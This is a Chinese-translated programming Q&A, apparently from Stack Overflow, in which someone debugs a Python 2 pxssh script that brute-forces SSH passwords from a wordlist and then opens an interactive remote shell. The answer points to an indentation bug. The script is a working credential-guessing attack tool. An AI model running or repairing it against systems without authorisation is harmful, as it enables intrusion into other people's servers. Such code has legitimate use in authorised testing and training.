python - AttributeError: 'NoneType'对象没有属性 'sendline'，而模块包含以另一种方式测试过的属性？

导入相关库并使用pxssh库创建connect函数之后，我创建了main函数以接受'host，'user'和我提供的文件名的参数。

程序成功读取文件，并将每个密码字符串解析为s.login方法，并在找到密码后返回“成功”消息。我认为这意味着已经与ssh服务器建立了连接。但是从'con = connect'的 Angular 来看，我没有打印语句说[SSH已连接...]比在成功找到密码后得到命令行提示符更进一步，但输入命令后却出现了属性错误违反共识-

>ls -l
Traceback (most recent call last):
  File "sshBruteFpw.py", line 60, in <module>
    main()
  File "sshBruteFpw.py", line 52, in main
    con.sendline(command)
AttributeError: 'NoneType' object has no attribute 'sendline'
root@kali:~/Desktop/scripts#

当我知道库包含此方法时，为什么con.sendline没有属性'sendline'令我困惑。我已经以其他方式测试了该sendline方法，它将起作用。

任何帮助对此表示赞赏。提前致谢...

    import pxssh
    import argparse
    import time
    import sys
    import getpass

    def connect(host, user, password):
    Fails = 0

    try:

        s = pxssh.pxssh()
        s.login(host, user, password)
        print '[+] password found! ' + password
        return s
    except Exception, e:
        if Fails > 5:
            print '[-] Too many Socket Timeouts!!'
            sys.exit(1)
        elif 'read_nonblocking' in str(e):
            Fails += 1
            time.sleep(5)
            return connect(host, user, password)
        elif 'synchronize with original prompt' in str(e):
            time.sleep(1)
            return connect(host, user, password)
        return None


   def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('host', help='Specify Target Host')
    parser.add_argument('user', help='Specify Target User')
    parser.add_argument('file', help='Specify Password File')
    args = parser.parse_args()

    if args.host and args.user and args.file: #if these args are all true
        with open(args.file, 'r') as infile:  #open with and read only the specified file as 'infile'
            for line in infile:
                password = line.strip('\r\n')#read and strip each line
                print "[+] testing passsword " + str(password) #print statement + the read PW being read from the file(converts all to str in case there is a numerical value as well)
                con = connect(args.host, args.user, password)
            if con: #if we get a connection
                print "[+] [SSH Connected, Issue Commands (q or Q) to quit]" #just shows uset that they have made a connection and know how to quit
            command = raw_input(">")
            while command != 'q' and command != 'Q':
                con.sendline(command)
                con.prompt()
                print con.before
                command = raw_input(">")
    else:
            print parser.usage
            sys.exit(1)
if __name__ == '__main__':
    main()

最佳答案

除非缩进量很大，否则即使没有设置con，您也将进入代码的该分支:

        if con: #if we get a connection
            print "[+] [SSH Connected, Issue Commands (q or Q) to quit]" #just shows uset that they have made a connection and know how to quit
        command = raw_input(">")
        while command != 'q' and command != 'Q':
            con.sendline(command)

在第二行之后，应该有continue，如果连接失败，不是吗？